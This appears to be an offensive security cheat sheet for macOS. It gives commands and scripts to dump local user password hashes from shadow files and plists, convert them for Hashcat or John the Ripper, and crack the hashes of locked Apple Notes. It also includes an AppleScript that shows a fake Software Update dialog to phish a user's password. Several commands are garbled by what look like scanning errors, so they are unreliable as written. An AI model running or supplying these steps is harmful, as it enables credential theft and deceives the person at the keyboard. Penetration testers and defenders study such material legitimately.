## MAC OSX 10.S-10.7
Manual OSX Hash Extraction
```bash
dscl localhost -read /Search/Users/<username>lgrep GeneratedUIDlcut -clS
cat /var/db/shadow/hash/<GUID> I cut -c169-216 > osx_hash.txt
```
## MAC OSX 10.8-10.13
Manual OSX Hash Extraction
```bash
sudo defaults read /var/db/dslocal/nodes/Default/users/<username>.plist
ShadowHashDataitr -de '0-9a-f'lxxd -p -rlplutil -convert xmll - -o -
```
OR using Directory Service utility:
```bash
sudo dscl read /Users/%user% AuthenticationAuthority
sudo dscl read /Users/%user% dsAttrTypeNative:ShadowHashData
```
## SCRIPTED OSX Local Hash Extraction
### [[HASHCAT]]
https://gist.github.com/nueh/8252572
https://gist.github.com/HarmJ0y/55e633cc977d6568e843#file-osx_hashdump-py
```bash
sudo plist2hashcat.py /var/db/dslocal/nodes/Default/users/<username>.plist
```
### [[John The Ripper]]
https://github.com/truongkma/ctf-tools/blob/master/John/run/ml2john.py
```bash
sudo ml2john.py /var/db/dslocal/nodes/Default/users/<username>.plist
```
LOCAL PHISHING [Apple Script to prompt user for Password]
```bash
osascript -e 'tell app "System Preferences" to activate' -e 'tell app "System
Preferences" to activate' -e 'tell app "System Preferences" to display dialog
"Software Update requires that you type your password to apply changes." &
return & return default answer "" with icon 1 with hidden answer with title
"Software Update"'
```
## Apple Secure Notes MacOS
STEP 1: Copy the sqlite 'NotesV#.storedata' from your target located at:
```bash
# /Users/<username>/Library/Containers/com.apple.Notes/Data/Library/Notes/
# Mountain Lion = NotesVl.storedata
# Mavericks = NotesV2.storedata
# Yosemite = NotesV4.storedata
# El Capitan & Sierra = NotesV6.storedata
# High Sierra = NotesV7.storedata
```
STEP 2: Download John's 'applenotes2john' and point it at the sqlite database.
Note this script also extracts the hints if present in the database and appends
them to the end of the hash (Example 'company logo?'):
https://github.com/koboi137/john/blob/master/applenotes2john.py
```bash
applenotes2john.py NotesV#.storedata
NotesV#,storedata:$ASN$•4•20000•caff9d98b629cad13d54f5f3cbae2b85*79270514692c7a9
d971alab6f6d22ba42c0514c29408c998:::::company logo?
```
STEP 3: Format and load hash into John (--format=notes-opencl) or Hashcat (-mv 16200) to crack
[[Home]]
#howto